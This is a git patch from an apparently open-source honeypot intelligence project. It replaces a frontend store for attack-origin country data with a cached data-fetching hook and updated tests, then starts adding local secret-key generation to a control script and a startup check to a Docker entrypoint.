react-hooks/exhaustive-deps + }, [cacheKey]); + + return { data, loading, error }; +} diff --git a/frontend/src/stores/useAttackerCountriesStore.jsx b/frontend/src/stores/useAttackerCountriesStore.jsx deleted file mode 100644 index 602bca37a..000000000 --- a/frontend/src/stores/useAttackerCountriesStore.jsx +++ /dev/null @@ -1,97 +0,0 @@ -import axios from "axios"; -import { create } from "zustand"; -import { IOC_ATTACKER_COUNTRIES_URI } from "../constants/api"; - -const useAttackerCountriesStore = create((set, get) => ({ - normalizedData: [], - countryDataMap: {}, - maxCount: 0, - loading: false, - error: null, - lastRange: null, - currentController: null, - - fetchData: async (range) => { - const rangeStr = JSON.stringify(range); - if (get().lastRange === rangeStr && !get().error) return; - - if (get().currentController) { - get().currentController.abort(); - } - - const controller = new AbortController(); - set({ - loading: true, - error: null, - lastRange: rangeStr, - currentController: controller, - }); - - try { - const resp = await axios.get(IOC_ATTACKER_COUNTRIES_URI, { - params: { range }, - signal: controller.signal, - }); - - const rawData = Array.isArray(resp?.data) ? resp.data : []; - const countryDataMap = {}; - const countryNameMap = {}; // alpha-2 code → first-seen display name - let maxCount = 0; - - rawData.forEach((item) => { - if (item && typeof item === "object") { - const code = - typeof item.code === "string" ? item.code.toUpperCase() : null; - if (!code) return; // skip items without an ISO-A2 code - - const countNum = Number(item.count) || 0; - - // Aggregate count by alpha-2 code - countryDataMap[code] = (countryDataMap[code] || 0) + countNum; - - // Keep the first-seen display name for this code - if (!countryNameMap[code]) { - countryNameMap[code] = item.country || code; - } - - if (countryDataMap[code] > maxCount) { - maxCount = countryDataMap[code]; - } - } - }); - - // Build unique aggregated list for charts - const normalizedData = Object.entries(countryDataMap) - .map(([code, count]) => ({ - country: countryNameMap[code], - count, - code, - })) - .sort((a, b) => b.count - a.count); - - if (get().currentController === controller) { - set({ - normalizedData, - countryDataMap, - maxCount, - loading: false, - currentController: null, - }); - } - } catch (err) { - if (axios.isCancel(err)) { - return; - } - console.error("useAttackerCountriesStore error:", err); - if (get().currentController === controller) { - set({ - error: "Failed to load attacker countries data.", - loading: false, - currentController: null, - }); - } - } - }, -})); - -export default useAttackerCountriesStore; diff --git a/frontend/tests/components/dashboard/AttackOriginCountriesChart.test.jsx b/frontend/tests/components/dashboard/AttackOriginCountriesChart.test.jsx index c5a24f866..6db0217bc 100644 --- a/frontend/tests/components/dashboard/AttackOriginCountriesChart.test.jsx +++ b/frontend/tests/components/dashboard/AttackOriginCountriesChart.test.jsx @@ -4,14 +4,13 @@ import { render, screen, waitFor } from "@testing-library/react"; import axios from "axios"; import { AttackOriginCountriesChart } from "../../../src/components/dashboard/utils/charts"; import { IOC_ATTACKER_COUNTRIES_URI } from "../../../src/constants/api"; -import useAttackerCountriesStore from "../../../src/stores/useAttackerCountriesStore"; +import { clearWidgetDataCache } from "../../../src/hooks/useWidgetData"; vi.mock("axios"); vi.mock("@greedybear/gb-ui", () => ({ useTimePickerStore: () => ({ range: "7d" }), getRandomColorsArray: (n) => Array(n).fill("#aabbcc"), - AnyChartWidget: () =>
, })); // ResponsiveContainer requires a DOM-measured width; give it fixed dimensions in jsdom @@ -37,7 +36,6 @@ const COUNTRIES_DATA = [ ]; // 16 entries (one more than the 15-entry limit). -// Each entry needs a code so the store doesn't skip codeless items. const SIXTEEN_COUNTRIES = Array.from({ length: 16 }, (_, i) => ({ country: `Country${i + 1}`, code: `T${String(i + 1).padStart(1, "0")}`.slice(0, 2), // fictional alpha-2 @@ -46,16 +44,8 @@ const SIXTEEN_COUNTRIES = Array.from({ length: 16 }, (_, i) => ({ describe("AttackOriginCountriesChart", () => { beforeEach(() => { - useAttackerCountriesStore.setState({ - normalizedData: [], - countryDataMap: {}, - maxCount: 0, - loading: false, - error: null, - lastRange: null, - currentController: null, - }); vi.clearAllMocks(); + clearWidgetDataCache(); }); test("shows loading state while request is in flight", () => { @@ -68,9 +58,7 @@ describe("AttackOriginCountriesChart", () => { axios.get.mockRejectedValue(new Error("Network error")); render(); await waitFor(() => - expect( - screen.getByText("Failed to load attacker countries data."), - ).toBeInTheDocument(), + expect(screen.getByText("Failed to load data.")).toBeInTheDocument(), ); }); @@ -79,9 +67,7 @@ describe("AttackOriginCountriesChart", () => { render(); await waitFor(() => expect( - screen.getByText( - "No country data available for the selected time range.", - ), + screen.getByText("No data in the selected range."), ).toBeInTheDocument(), ); }); @@ -93,7 +79,7 @@ describe("AttackOriginCountriesChart", () => { expect(axios.get).toHaveBeenCalledWith( IOC_ATTACKER_COUNTRIES_URI, expect.objectContaining({ - params: { range: "7d" }, + params: expect.objectContaining({ range: "7d" }), }), ), ); @@ -119,7 +105,7 @@ describe("AttackOriginCountriesChart", () => { test("chart height scales with number of entries", async () => { axios.get.mockResolvedValue({ data: COUNTRIES_DATA }); - const { container } = render(); + render(); await waitFor(() => expect(screen.getByTestId("responsive-container")).toBeInTheDocument(), ); diff --git a/frontend/tests/components/dashboard/AttackOriginMap.test.jsx b/frontend/tests/components/dashboard/AttackOriginMap.test.jsx index a79eed4a1..7ca60d3f2 100644 --- a/frontend/tests/components/dashboard/AttackOriginMap.test.jsx +++ b/frontend/tests/components/dashboard/AttackOriginMap.test.jsx @@ -4,7 +4,7 @@ import { render, screen, waitFor } from "@testing-library/react"; import axios from "axios"; import AttackOriginMap from "../../../src/components/dashboard/AttackOriginMap"; import { IOC_ATTACKER_COUNTRIES_URI } from "../../../src/constants/api"; -import useAttackerCountriesStore from "../../../src/stores/useAttackerCountriesStore"; +import { clearWidgetDataCache } from "../../../src/hooks/useWidgetData"; vi.mock("axios"); @@ -19,7 +19,7 @@ globalThis.fetch = vi.fn(() => // Mock the map library. Each mock geography carries a numeric ISO id // (geo.id) so that AttackOriginMap can resolve it to an alpha-2 code via -// i18n-iso-countries, matching the alpha-2-keyed countryDataMap from the store. +// i18n-iso-countries, matching the alpha-2-keyed countryDataMap. vi.mock("@vnedyalk0v/react19-simple-maps", () => ({ ComposableMap: ({ children, onMouseMove, onMouseLeave }) => (
{ beforeEach(() => { - useAttackerCountriesStore.setState({ - normalizedData: [], - countryDataMap: {}, - maxCount: 0, - loading: false, - error: null, - lastRange: null, - currentController: null, - }); vi.clearAllMocks(); + clearWidgetDataCache(); }); test("shows loading state while request is in flight", () => { @@ -83,9 +75,7 @@ describe("AttackOriginMap", () => { axios.get.mockRejectedValue(new Error("Network error")); render(); await waitFor(() => - expect( - screen.getByText("Failed to load attacker countries data."), - ).toBeInTheDocument(), + expect(screen.getByText("Failed to load data.")).toBeInTheDocument(), ); }); @@ -96,7 +86,7 @@ describe("AttackOriginMap", () => { expect(axios.get).toHaveBeenCalledWith( IOC_ATTACKER_COUNTRIES_URI, expect.objectContaining({ - params: { range: "7d" }, + params: expect.objectContaining({ range: "7d" }), }), ), ); diff --git a/frontend/tests/components/dashboard/charts.test.jsx b/frontend/tests/components/dashboard/charts.test.jsx index a4388c09f..9fd96b3a5 100644 --- a/frontend/tests/components/dashboard/charts.test.jsx +++ b/frontend/tests/components/dashboard/charts.test.jsx @@ -1,7 +1,7 @@ import React from "react"; import "@testing-library/jest-dom"; -import { render, screen } from "@testing-library/react"; -import { vi } from "vitest"; +import { render, screen, waitFor } from "@testing-library/react"; +import axios from "axios"; import { FeedsSourcesChart, @@ -13,34 +13,56 @@ import { import { FEEDS_STATISTICS_SOURCES_URI, + FEEDS_STATISTICS_DOWNLOADS_URI, + ENRICHMENT_STATISTICS_SOURCES_URI, + ENRICHMENT_STATISTICS_REQUESTS_URI, FEEDS_STATISTICS_TYPES_URI, } from "../../../src/constants/api"; -import { AnyChartWidget } from "@greedybear/gb-ui"; +import { clearWidgetDataCache } from "../../../src/hooks/useWidgetData"; -// Mock recharts -vi.mock("recharts", () => ({ - Bar: ({ dataKey }) =>
, - Area: ({ dataKey }) =>
, -})); +vi.mock("axios"); -// Mock certego-ui vi.mock("@greedybear/gb-ui", () => ({ - AnyChartWidget: vi.fn(({ url, componentsFn }) => { - const mockData = [{ date: "2024-01-01", feed1: 10, feed2: 20 }]; + useTimePickerStore: () => ({ range: "7d", dateFormat: "yyyy-MM-dd" }), + getRandomColorsArray: (n) => Array(n).fill("#aabbcc"), +})); - return ( -
- {componentsFn && componentsFn(mockData)} +vi.mock("recharts", async (importOriginal) => { + const original = await importOriginal(); + return { + ...original, + ResponsiveContainer: ({ children, height }) => ( +
+ {React.cloneElement(React.Children.only(children), { + width: 800, + height, + })}
- ); - }), - getRandomColorsArray: vi.fn(() => ["#111111", "#222222", "#333333"]), -})); + ), + ComposedChart: ({ children }) => ( +
{children}
+ ), + BarChart: ({ children }) =>
{children}
, + Bar: ({ dataKey }) =>
, + Area: ({ dataKey }) =>
, + XAxis: () => null, + YAxis: () => null, + CartesianGrid: () => null, + Legend: () => null, + Tooltip: () => null, + Cell: () => null, + }; +}); + +const ONE_DAY_FEED = [{ date: "2024-01-01", Sources: 10, Downloads: 5 }]; +const ONE_DAY_TYPES = [{ date: "2024-01-01", cowrie: 100, honeytrap: 50 }]; +const ONE_DAY_ENRICHMENT = [{ date: "2024-01-01", Sources: 3, Requests: 9 }]; describe("Charts Components", () => { beforeEach(() => { vi.clearAllMocks(); + clearWidgetDataCache(); }); test("createAreaChart sets correct displayName", () => { @@ -50,99 +72,137 @@ describe("Charts Components", () => { expect(EnrichmentRequestsChart.displayName).toBe("EnrichmentRequestsChart"); }); - test("charts pass correct props to AnyChartWidget", () => { + test("shows loading state initially", () => { + axios.get.mockReturnValue(new Promise(() => {})); render(); - - expect(AnyChartWidget).toHaveBeenCalled(); - - const props = AnyChartWidget.mock.calls[0][0]; - - expect(props).toEqual( - expect.objectContaining({ - url: FEEDS_STATISTICS_SOURCES_URI, - accessorFnAggregation: expect.any(Function), - componentsFn: expect.any(Function), - }), - ); + expect(screen.getByText("Loading…")).toBeInTheDocument(); }); - test("charts render Area components", () => { + test("FeedsSourcesChart fetches the correct endpoint", async () => { + axios.get.mockResolvedValue({ data: ONE_DAY_FEED }); render(); - - const areas = screen.getAllByTestId(/^area-/); - expect(areas.length).toBeGreaterThan(0); + await waitFor(() => + expect(axios.get).toHaveBeenCalledWith( + FEEDS_STATISTICS_SOURCES_URI, + expect.objectContaining({ + params: expect.objectContaining({ range: "7d" }), + }), + ), + ); }); - test("FeedsTypesChart passes correct props to AnyChartWidget", () => { - render(); - - expect(AnyChartWidget).toHaveBeenCalled(); - - const props = AnyChartWidget.mock.calls[0][0]; - - expect(props).toEqual( - expect.objectContaining({ - url: FEEDS_STATISTICS_TYPES_URI, - accessorFnAggregation: expect.any(Function), - componentsFn: expect.any(Function), - }), + test("FeedsDownloadsChart fetches the correct endpoint", async () => { + axios.get.mockResolvedValue({ data: ONE_DAY_FEED }); + render(); + await waitFor(() => + expect(axios.get).toHaveBeenCalledWith( + FEEDS_STATISTICS_DOWNLOADS_URI, + expect.anything(), + ), ); }); - test("FeedsTypesChart renders Bar components from response data", () => { - render(); - - const bars = screen.getAllByTestId(/^bar-/); - expect(bars.length).toBeGreaterThan(0); + test("EnrichmentSourcesChart fetches the correct endpoint", async () => { + axios.get.mockResolvedValue({ data: ONE_DAY_ENRICHMENT }); + render(); + await waitFor(() => + expect(axios.get).toHaveBeenCalledWith( + ENRICHMENT_STATISTICS_SOURCES_URI, + expect.anything(), + ), + ); }); - test("FeedsTypesChart returns null for empty data", () => { - vi.mocked(AnyChartWidget).mockImplementationOnce(({ componentsFn }) => ( -
{componentsFn([])}
- )); - const { container } = render(); - expect(container.firstChild.children.length).toBe(0); + test("EnrichmentRequestsChart fetches the correct endpoint", async () => { + axios.get.mockResolvedValue({ data: ONE_DAY_ENRICHMENT }); + render(); + await waitFor(() => + expect(axios.get).toHaveBeenCalledWith( + ENRICHMENT_STATISTICS_REQUESTS_URI, + expect.anything(), + ), + ); }); - test("FeedsTypesChart returns null for undefined data", () => { - vi.mocked(AnyChartWidget).mockImplementationOnce(({ componentsFn }) => ( -
{componentsFn(undefined)}
- )); - const { container } = render(); - expect(container.firstChild.children.length).toBe(0); + test("FeedsTypesChart fetches the correct endpoint", async () => { + axios.get.mockResolvedValue({ data: ONE_DAY_TYPES }); + render(); + await waitFor(() => + expect(axios.get).toHaveBeenCalledWith( + FEEDS_STATISTICS_TYPES_URI, + expect.anything(), + ), + ); }); - test("FeedsSourcesChart Area has correct dataKey", () => { + test("FeedsSourcesChart renders an Area for each colorMap key in its slice", async () => { + axios.get.mockResolvedValue({ data: ONE_DAY_FEED }); render(); + await waitFor(() => + expect(screen.getByTestId("responsive-container")).toBeInTheDocument(), + ); + // FEED_COLOR_MAP slice [0,1] => first key is "Sources" expect(screen.getByTestId("area-Sources")).toBeInTheDocument(); }); - test("FeedsDownloadsChart Area has correct dataKey", () => { + test("FeedsDownloadsChart renders an Area for its colorMap slice", async () => { + axios.get.mockResolvedValue({ data: ONE_DAY_FEED }); render(); + await waitFor(() => + expect(screen.getByTestId("responsive-container")).toBeInTheDocument(), + ); + // FEED_COLOR_MAP slice [1,2] => second key is "Downloads" expect(screen.getByTestId("area-Downloads")).toBeInTheDocument(); }); - test("EnrichmentSourcesChart Area has correct dataKey", () => { - render(); - expect(screen.getByTestId("area-Sources")).toBeInTheDocument(); + test("FeedsSourcesChart renders a chart after data loads", async () => { + axios.get.mockResolvedValue({ data: ONE_DAY_FEED }); + render(); + await waitFor(() => + expect(screen.getByTestId("responsive-container")).toBeInTheDocument(), + ); }); - test("EnrichmentRequestsChart Area has correct dataKey", () => { - render(); - expect(screen.getByTestId("area-Requests")).toBeInTheDocument(); + test("FeedsTypesChart renders a Bar for each feed type key", async () => { + axios.get.mockResolvedValue({ data: ONE_DAY_TYPES }); + render(); + await waitFor(() => { + expect(screen.getByTestId("bar-cowrie")).toBeInTheDocument(); + expect(screen.getByTestId("bar-honeytrap")).toBeInTheDocument(); + }); + }); + + test("FeedsTypesChart renders a chart after data loads", async () => { + axios.get.mockResolvedValue({ data: ONE_DAY_TYPES }); + render(); + await waitFor(() => + expect(screen.getByTestId("responsive-container")).toBeInTheDocument(), + ); }); - test("FeedsTypesChart only reads feed types from first element of respData", () => { - vi.mocked(AnyChartWidget).mockImplementationOnce(({ componentsFn }) => { - const respData = [ + test("FeedsTypesChart shows empty-state for no data", async () => { + axios.get.mockResolvedValue({ data: [] }); + render(); + await waitFor(() => + expect( + screen.getByText("No data in the selected range."), + ).toBeInTheDocument(), + ); + }); + + test("FeedsTypesChart only reads feed types from first element of respData", async () => { + // Second element introduces a "telnet" key absent from the first element. + // The chart must only create Bars for keys found in respData[0] (excluding "date"). + axios.get.mockResolvedValue({ + data: [ { date: "2024-01-01", ssh: 5 }, { date: "2024-01-02", ssh: 8, telnet: 3 }, - ]; - return
{componentsFn(respData)}
; + ], }); render(); - const bars = screen.getAllByTestId(/^bar-/); - expect(bars).toHaveLength(1); - expect(screen.getByTestId("bar-ssh")).toBeInTheDocument(); + await waitFor(() => + expect(screen.getByTestId("bar-ssh")).toBeInTheDocument(), + ); + expect(screen.queryByTestId("bar-telnet")).not.toBeInTheDocument(); }); }); diff --git a/frontend/tests/hooks/useWidgetData.test.jsx b/frontend/tests/hooks/useWidgetData.test.jsx new file mode 100644 index 000000000..18e036831 --- /dev/null +++ b/frontend/tests/hooks/useWidgetData.test.jsx @@ -0,0 +1,218 @@ +import React from "react"; +import "@testing-library/jest-dom"; +import { render, screen, waitFor } from "@testing-library/react"; +import axios from "axios"; +import useWidgetData, { + clearWidgetDataCache, + normalizeAttackerCountries, +} from "../../src/hooks/useWidgetData"; + +vi.mock("axios"); + +vi.mock("@greedybear/gb-ui", () => ({ + useTimePickerStore: () => ({ range: "7d" }), +})); + +// Simple consumer component +function DataConsumer({ url, params }) { + const { data, loading, error } = useWidgetData(url, params); + if (loading) return
loading
; + if (error) return
error: {error}
; + if (!data) return
no data
; + return
data: {JSON.stringify(data)}
; +} + +const TEST_URL = "/api/test"; + +describe("useWidgetData", () => { + beforeEach(() => { + vi.clearAllMocks(); + clearWidgetDataCache(); + }); + + test("shows loading initially and resolves to data", async () => { + axios.get.mockResolvedValue({ data: [1, 2, 3] }); + render(); + + expect(screen.getByText("loading")).toBeInTheDocument(); + await waitFor(() => + expect(screen.getByText("data: [1,2,3]")).toBeInTheDocument(), + ); + }); + + test("shows error when request fails", async () => { + axios.get.mockRejectedValue(new Error("boom")); + render(); + await waitFor(() => + expect( + screen.getByText("error: Failed to load data."), + ).toBeInTheDocument(), + ); + }); + + test("passes url and range to axios", async () => { + axios.get.mockResolvedValue({ data: [] }); + render(); + await waitFor(() => + expect(axios.get).toHaveBeenCalledWith( + `${TEST_URL}/params`, + expect.objectContaining({ + params: expect.objectContaining({ range: "7d" }), + }), + ), + ); + }); + + test("does not fire a second request when the same key is cached", async () => { + const CACHED_URL = `${TEST_URL}/cached`; + axios.get.mockResolvedValue({ data: [42] }); + + // First render: populates cache + const { unmount } = render(); + await waitFor(() => + expect(screen.getByText("data: [42]")).toBeInTheDocument(), + ); + unmount(); + + // Second render with same url+range: should hit cache, no new axios call + render(); + await waitFor(() => + expect(screen.getByText("data: [42]")).toBeInTheDocument(), + ); + + // axios.get was called exactly once across both renders + expect(axios.get).toHaveBeenCalledTimes(1); + }); + + test("deduplicates concurrent in-flight requests for the same key", async () => { + const INFLIGHT_URL = `${TEST_URL}/inflight`; + + // Expose resolve so we control when the request settles + let resolve; + axios.get.mockReturnValue( + new Promise((res) => { + resolve = () => res({ data: [99] }); + }), + ); + + // Mount two consumers simultaneously - both see the same unresolved promise + render( + <> + + + , + ); + + // Both show loading while in-flight + expect(screen.getAllByText("loading")).toHaveLength(2); + + // Settle the single request + resolve(); + + await waitFor(() => { + expect(screen.getAllByText("data: [99]")).toHaveLength(2); + }); + + // Only one GET was ever issued + expect(axios.get).toHaveBeenCalledTimes(1); + }); +}); + +describe("normalizeAttackerCountries", () => { + test("returns empty structures for null input", () => { + const result = normalizeAttackerCountries(null); + expect(result.countryDataMap).toEqual({}); + expect(result.maxCount).toBe(0); + expect(result.normalizedData).toEqual([]); + }); + + test("returns empty structures for non-array input", () => { + expect(normalizeAttackerCountries("bad").normalizedData).toEqual([]); + expect(normalizeAttackerCountries(42).normalizedData).toEqual([]); + expect(normalizeAttackerCountries({}).normalizedData).toEqual([]); + }); + + test("basic happy path — single country", () => { + const raw = [{ code: "US", country: "United States", count: 50 }]; + const { countryDataMap, maxCount, normalizedData } = + normalizeAttackerCountries(raw); + expect(countryDataMap).toEqual({ US: 50 }); + expect(maxCount).toBe(50); + expect(normalizedData).toEqual([ + { code: "US", country: "United States", count: 50 }, + ]); + }); + + test("aggregates duplicate ISO codes (regression for old store test)", () => { + // Two rows for the same country + const raw = [ + { code: "CN", country: "China", count: 100 }, + { code: "CN", country: "China (duplicate row)", count: 40 }, + ]; + const { countryDataMap, maxCount, normalizedData } = + normalizeAttackerCountries(raw); + expect(countryDataMap).toEqual({ CN: 140 }); + expect(maxCount).toBe(140); + expect(normalizedData).toHaveLength(1); + expect(normalizedData[0]).toEqual({ + code: "CN", + country: "China", + count: 140, + }); + }); + + test("normalises code to uppercase", () => { + const raw = [{ code: "gb", country: "United Kingdom", count: 10 }]; + const { countryDataMap } = normalizeAttackerCountries(raw); + expect(countryDataMap).toHaveProperty("GB", 10); + expect(countryDataMap).not.toHaveProperty("gb"); + }); + + test("skips items with missing or non-string code", () => { + const raw = [ + null, + undefined, + 42, + { country: "No code", count: 5 }, // missing code + { code: null, country: "Null code", count: 5 }, + { code: 123, country: "Numeric code", count: 5 }, + { code: "US", country: "United States", count: 20 }, // only valid entry + ]; + const { normalizedData } = normalizeAttackerCountries(raw); + expect(normalizedData).toHaveLength(1); + expect(normalizedData[0].code).toBe("US"); + }); + + test("clamps negative counts to zero", () => { + const raw = [{ code: "DE", country: "Germany", count: -50 }]; + const { countryDataMap, maxCount } = normalizeAttackerCountries(raw); + expect(countryDataMap).toEqual({ DE: 0 }); + expect(maxCount).toBe(0); + }); + + test("coerces non-numeric count to zero", () => { + const raw = [{ code: "FR", country: "France", count: "bad" }]; + const { countryDataMap } = normalizeAttackerCountries(raw); + expect(countryDataMap).toEqual({ FR: 0 }); + }); + + test("sorts normalizedData by count descending", () => { + const raw = [ + { code: "US", country: "United States", count: 10 }, + { code: "CN", country: "China", count: 300 }, + { code: "RU", country: "Russia", count: 150 }, + ]; + const { normalizedData } = normalizeAttackerCountries(raw); + expect(normalizedData.map((d) => d.code)).toEqual(["CN", "RU", "US"]); + }); + + test("maxCount reflects highest aggregated country, not individual row", () => { + const raw = [ + { code: "US", country: "United States", count: 80 }, + { code: "CN", country: "China", count: 60 }, + { code: "CN", country: "China", count: 60 }, // duplicate + ]; + const { maxCount } = normalizeAttackerCountries(raw); + expect(maxCount).toBe(120); + }); +}); diff --git a/frontend/tests/stores/useAttackerCountriesStore.test.jsx b/frontend/tests/stores/useAttackerCountriesStore.test.jsx deleted file mode 100644 index c61d01983..000000000 --- a/frontend/tests/stores/useAttackerCountriesStore.test.jsx +++ /dev/null @@ -1,241 +0,0 @@ -import { describe, test, expect, vi, beforeEach } from "vitest"; -import axios from "axios"; -import useAttackerCountriesStore from "../../src/stores/useAttackerCountriesStore"; -import { IOC_ATTACKER_COUNTRIES_URI } from "../../src/constants/api"; - -vi.mock("axios"); - -const createDeferred = () => { - let resolve; - let reject; - const promise = new Promise((res, rej) => { - resolve = res; - reject = rej; - }); - - return { promise, resolve, reject }; -}; - -describe("useAttackerCountriesStore", () => { - beforeEach(() => { - useAttackerCountriesStore.setState({ - normalizedData: [], - countryDataMap: {}, - maxCount: 0, - loading: false, - error: null, - lastRange: null, - currentController: null, - }); - vi.clearAllMocks(); - }); - - describe("Initial State", () => { - test("initial state is correct", () => { - const state = useAttackerCountriesStore.getState(); - expect(state.normalizedData).toEqual([]); - expect(state.countryDataMap).toEqual({}); - expect(state.maxCount).toBe(0); - expect(state.loading).toBe(false); - expect(state.error).toBe(null); - }); - }); - - describe("fetchData", () => { - const mockRange = "24h"; - const rangeStr = JSON.stringify(mockRange); - const mockData = [ - { country: "United States", code: "US", count: 100 }, - { country: "Italy", code: "IT", count: 50 }, - ]; - - test("successfully fetches and normalizes data", async () => { - axios.get.mockResolvedValue({ data: mockData }); - - await useAttackerCountriesStore.getState().fetchData(mockRange); - - const state = useAttackerCountriesStore.getState(); - // countryDataMap is keyed by alpha-2; normalizedData uses raw API name - expect(state.normalizedData).toEqual([ - { country: "United States", code: "US", count: 100 }, - { country: "Italy", code: "IT", count: 50 }, - ]); - expect(state.countryDataMap).toEqual({ - US: 100, - IT: 50, - }); - expect(state.maxCount).toBe(100); - expect(state.loading).toBe(false); - expect(state.lastRange).toBe(rangeStr); - expect(axios.get).toHaveBeenCalledWith( - IOC_ATTACKER_COUNTRIES_URI, - expect.any(Object), - ); - }); - - test("prevents redundant fetches for the same range (caching)", async () => { - axios.get.mockResolvedValue({ data: mockData }); - - // First call - await useAttackerCountriesStore.getState().fetchData(mockRange); - expect(axios.get).toHaveBeenCalledTimes(1); - - // Second call for same range - await useAttackerCountriesStore.getState().fetchData(mockRange); - expect(axios.get).toHaveBeenCalledTimes(1); // Still 1 - }); - - test("handles empty results correctly and caches them", async () => { - axios.get.mockResolvedValue({ data: [] }); - - await useAttackerCountriesStore.getState().fetchData(mockRange); - expect(axios.get).toHaveBeenCalledTimes(1); - - // Second call for same range (empty) - await useAttackerCountriesStore.getState().fetchData(mockRange); - expect(axios.get).toHaveBeenCalledTimes(1); // Caching still works for empty data - }); - - test("prevents simultaneous calls for the same range", async () => { - const deferred = createDeferred(); - axios.get.mockReturnValue(deferred.promise); - - const fetchPromise1 = useAttackerCountriesStore - .getState() - .fetchData(mockRange); - const fetchPromise2 = useAttackerCountriesStore - .getState() - .fetchData(mockRange); - - expect(useAttackerCountriesStore.getState().loading).toBe(true); - - deferred.resolve({ data: mockData }); - await Promise.all([fetchPromise1, fetchPromise2]); - - expect(axios.get).toHaveBeenCalledTimes(1); - }); - - test("cancels in-flight requests when a new range is selected (race condition)", async () => { - const deferred1 = createDeferred(); - const deferred2 = createDeferred(); - - // First mock returns pending promise - axios.get.mockReturnValueOnce(deferred1.promise); - // Second mock returns another pending promise - axios.get.mockReturnValueOnce(deferred2.promise); - - const { fetchData } = useAttackerCountriesStore.getState(); - - // Start first fetch - const fetch1 = fetchData("24h"); - const controller1 = - useAttackerCountriesStore.getState().currentController; - const abortSpy1 = vi.spyOn(controller1, "abort"); - - // Start second fetch for a different range - const fetch2 = fetchData("7d"); - - // Verify first controller was aborted - expect(abortSpy1).toHaveBeenCalled(); - - deferred1.resolve({ data: [] }); - deferred2.resolve({ data: mockData }); - - await Promise.all([fetch1, fetch2]); - - expect(axios.get).toHaveBeenCalledTimes(2); - expect(useAttackerCountriesStore.getState().normalizedData).toEqual([ - { country: "United States", code: "US", count: 100 }, - { country: "Italy", code: "IT", count: 50 }, - ]); - }); - - test("aggregates data correctly when same ISO code has different names", async () => { - const complexMockData = [ - { country: "United States", code: "US", count: 100 }, - { country: "USA", code: "US", count: 50 }, - { country: "Italy", code: "IT", count: 30 }, - ]; - axios.get.mockResolvedValue({ data: complexMockData }); - - await useAttackerCountriesStore.getState().fetchData("all"); - - const state = useAttackerCountriesStore.getState(); - // Aggregated by alpha-2; display name is the first-seen value - expect(state.normalizedData).toEqual([ - { country: "United States", code: "US", count: 150 }, - { country: "Italy", code: "IT", count: 30 }, - ]); - expect(state.countryDataMap).toEqual({ - US: 150, - IT: 30, - }); - expect(state.maxCount).toBe(150); - }); - - test("skips items that have no ISO code", async () => { - const mixedData = [ - { country: "United States", code: "US", count: 100 }, - { country: "Unknown", code: null, count: 50 }, - { country: "Italy", code: "IT", count: 30 }, - ]; - axios.get.mockResolvedValue({ data: mixedData }); - - await useAttackerCountriesStore.getState().fetchData(mockRange); - - const state = useAttackerCountriesStore.getState(); - // The entry with no code is excluded - expect(state.normalizedData).toEqual([ - { country: "United States", code: "US", count: 100 }, - { country: "Italy", code: "IT", count: 30 }, - ]); - }); - - test("sets error state on failure", async () => { - axios.get.mockRejectedValue(new Error("Network Error")); - - await useAttackerCountriesStore.getState().fetchData(mockRange); - - const state = useAttackerCountriesStore.getState(); - expect(state.error).toBe("Failed to load attacker countries data."); - expect(state.loading).toBe(false); - }); - - test("maintains loading state when a request is cancelled by a newer one", async () => { - const deferred1 = createDeferred(); - const deferred2 = createDeferred(); - - axios.get.mockReturnValueOnce(deferred1.promise); - axios.get.mockReturnValueOnce(deferred2.promise); - - const { fetchData } = useAttackerCountriesStore.getState(); - - // Start first fetch - const fetch1 = fetchData("24h"); - expect(useAttackerCountriesStore.getState().loading).toBe(true); - - // Start second fetch (cancels first) - const fetch2 = fetchData("7d"); - - // Simulate first request's rejection due to cancellation - axios.isCancel = vi.fn().mockReturnValue(true); - deferred1.reject(new Error("Canceled")); - await fetch1; - - // Verify loading is STILL true because the second request is still in flight - expect(useAttackerCountriesStore.getState().loading).toBe(true); - expect(useAttackerCountriesStore.getState().error).toBe(null); - - // Finish second request - deferred2.resolve({ data: mockData }); - await fetch2; - - // Now loading should be false - expect(useAttackerCountriesStore.getState().loading).toBe(false); - expect(useAttackerCountriesStore.getState().normalizedData).toEqual([ - { country: "United States", code: "US", count: 100 }, - { country: "Italy", code: "IT", count: 50 }, - ]); - }); - }); -}); From 56e3b7fc79924a8bfe3c1f843a11c56145365743 Mon Sep 17 00:00:00 2001 From: Drona Raj Gyawali Date: Mon, 15 Jun 2026 20:33:41 +0545 Subject: [PATCH 036/131] fix: ensure shared secret key across containers for secure task signing . Closes #1399 (#1409) * secret key generation on demand done Signed-off-by: Drona Raj Gyawali * added guard block in entrypoint Signed-off-by: Drona Raj Gyawali --------- Signed-off-by: Drona Raj Gyawali --- docker/entrypoint_gunicorn.sh | 7 ++++++ gbctl | 45 ++++++++++++++++++++++++++++++++++- 2 files changed, 51 insertions(+), 1 deletion(-) diff --git a/docker/entrypoint_gunicorn.sh b/docker/entrypoint_gunicorn.sh index 90bf35a1c..26a681949 100755 --- a/docker/entrypoint_gunicorn.sh +++ b/docker/entrypoint_gunicorn.sh @@ -1,5 +1,12 @@ #!/bin/bash +# checking if DJANGO_SECRET is set and not empty +if [ -z "$DJANGO_SECRET" ]; then + echo "ERROR: DJANGO_SECRET environment variable is not set!" >&2 + echo "Aborting startup." >&2 + exit 1 +fi + until cd /opt/deploy/greedybear do echo "Waiting for server volume..." diff --git a/gbctl b/gbctl index dd52046d2..8c3b55471 100755 --- a/gbctl +++ b/gbctl @@ -470,6 +470,48 @@ init_env_files() { fi } +# ensures a DJANGO_SECRET exists in the env file to secure cross-container task signing +ensure_django_secret() { + local env_file="${SCRIPT_DIR}/docker/env_file" + + if [ ! -f "$env_file" ]; then + log_error "docker/env_file not found. Run './gbctl init' first." + exit 1 + fi + + local existing + existing=$(grep -E '^DJANGO_SECRET=' "$env_file" | cut -d'=' -f2- | tr -d '[:space:]\r') + + if [ -n "$existing" ]; then + log_info "DJANGO_SECRET already set, skipping generation." + return + fi + + local new_secret + new_secret=$(python3 -c "import secrets; print(secrets.token_hex(64))" 2>/dev/null \ + || openssl rand -hex 64 2>/dev/null \ + || dd if=/dev/urandom bs=1 count=500 2>/dev/null | tr -dc 'a-f0-9' | head -c 128) + + if [ -z "$new_secret" ]; then + log_error "Failed to generate a secret key. Please set DJANGO_SECRET manually in docker/env_file." + exit 1 + fi + + # using sed if the line exists, only append if truly absent + if grep -qE '^DJANGO_SECRET=\s*$' "$env_file"; then + # line exists but value is empty, fill it in-place + sed -i "s|^DJANGO_SECRET=.*|DJANGO_SECRET=${new_secret}|" "$env_file" + log_success "Generated and saved DJANGO_SECRET to docker/env_file." + elif grep -qE '^DJANGO_SECRET=' "$env_file"; then + # line exists and has a value + log_info 